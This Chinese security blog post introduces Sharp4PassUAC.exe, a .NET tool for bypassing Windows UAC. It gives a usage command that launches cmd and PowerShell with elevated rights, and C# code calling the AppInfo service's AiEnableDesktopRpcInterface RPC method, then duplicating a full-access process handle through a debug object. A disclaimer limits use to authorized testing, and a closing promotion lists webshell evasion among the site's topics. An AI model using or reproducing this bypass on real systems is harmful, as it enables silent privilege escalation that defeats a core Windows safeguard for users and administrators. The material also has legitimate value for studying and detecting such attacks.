.NET 一款通过调用本地RPC绕过UAC的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4PassUAC.exe 是一个用于绕过 UAC 保护的内网渗透工具,帮助渗透测试人员和红队成员在 Windows 系统上实现特权提升。工具利用了远程过程调用RPC和分布式组件对象模型DCOM中的特定漏洞,通过暴露敏感操作的接口来提升权限。这使得 Sharp4PassUAC.exe 能够在不触发 UAC 提示的情况下,以高权限运行指定的进程或命令。

图片

03使用方法

Sharp4PassUAC.exe 工具的基本用法如下

Sharp4PassUAC.exe /command:cmd.exe /arguments:"/c powershell.exe" /newconsole

其中,/arguments 参数提供了传递给该程序的参数,例如 /c powershell.exe 表示通过 cmd 运行 powershell,/newconsole 表示以新控制台窗口启动。如下图所示。

图片

04原理解析

下面工具核心功能通过以下步骤实现,首先,工具通过 LaunchAdminProcess 函数启动一个未提升权限的进程,代码片段如下:

NtProcess ntProcess = Program.LaunchAdminProcess(text2, null, Program.StartFlags.None, 1025, "WinSta0\\Default");
Console.WriteLine("[+] Unelevated process created ({0})", ntProcess.ProcessId);

在此过程中,LaunchAdminProcess 函数会调用 StartAppinfoService 方法以确保 Windows 应用程序信息服务(Appinfo)启动,这对于特权提升操作是必要的。

随后,AiEnableDesktopRpcInterface 方法利用了一个 COM RpcInterface 来启动进程。具体代码如下所示。

private static NtProcess LaunchAdminProcess(string executable, string cmdline, Program.StartFlags flags, CreateProcessFlags create_flags, string desktop)
{
    Program.StartAppinfoService();
    NtProcess result;
    using (Client client = new Client())
    {
        client.Connect();
        create_flags |= 1024;
        Struct_2 struct_;
        int num2;
        int num = client.AiEnableDesktopRpcInterface(executable, cmdline, (int)flags, create_flags, "c:\\windows", desktop, default(Struct_0), new NdrUInt3264(Program.GetDesktopWindow()), -1, out struct_, out num2);
        if (num != 0)
        {
            throw new Win32Exception(num);
        }
        using (NtObjectWithDuplicate<NtThread, ThreadAccessRights>.FromHandle(new IntPtr((long)((ulong)struct_.Member8.Value))))
        {
            result = NtObjectWithDuplicate<NtProcess, ProcessAccessRights>.FromHandle(new IntPtr((long)((ulong)struct_.Member0.Value)));
        }
    }
    return result;
}

在 AiEnableDesktopRpcInterface 中,工具会连接到 Windows 的 AppInfo 服务,通过此服务可以绕过 UAC 并以高权限创建新的桌面进程。

最后,创建未提升权限的进程后,工具通过调试对象(Debug Object)机制来获得对目标进程的完全控制权限,代码如下所示。

NtProcess ntProcess2 = NtObjectWithDuplicate<NtProcess, ProcessAccessRights>.DuplicateFrom(((CreateProcessDebugEvent)debugEvent).Process, intPtr);
Console.WriteLine("[+] Obtained full access handle to elevated process");
((CreateProcessDebugEvent)debugEvent).Process.Terminate(0);
Console.WriteLine("[+] Terminated elevated process");

这里工具获取了具有完全权限的进程句柄,并通过 Terminate 方法终止了高权限的进程,以防止重复的进程干扰,工具释放了与目标进程的调试关联,使得新创建的高权限进程能够以提升的权限运行指定的命令或程序,从而实现绕过 UAC 的目的。

综上,Sharp4PassUAC.exe 工具通过利用 Windows 应用程序信息服务和调试对象获取对进程的完全控制权限,从而实现不触发 UAC 提示的情况下启动高权限的进程。

05.NET安全知识库

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值